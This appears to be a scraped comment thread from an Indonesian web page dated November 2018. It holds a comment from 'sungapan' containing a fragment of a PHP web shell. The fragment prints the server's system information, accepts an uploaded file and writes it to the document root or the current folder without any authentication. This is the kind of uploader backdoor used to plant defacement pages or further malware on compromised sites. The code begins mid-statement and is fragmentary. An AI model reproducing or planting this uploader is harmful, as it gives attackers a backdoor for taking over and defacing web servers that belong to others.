Related Comments

R

sungapan

17 Nov 2018

R

sungapan

17 Nov 2018

 ";echo "".php_uname()."
";echo "

";$root = $_SERVER['DOCUMENT_ROOT'];$files = $_FILES['idx_file']['name'];$dest = $root.'/'.$files;if(isset($_POST['upload'])) {if(is_writable($root)) {if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {$web = "http://".$_SERVER['HTTP_HOST']."/";echo "sukses..!! -> $web/$files";} else {echo "failed to upload in the document root.";}} else {if(@copy($_FILES['idx_file']['tmp_name'], $files)) {echo "sukses upload $files di folder ini";} else {echo "gagal upload";}}} ?>

R

rendra

14 Nov 2018

mantap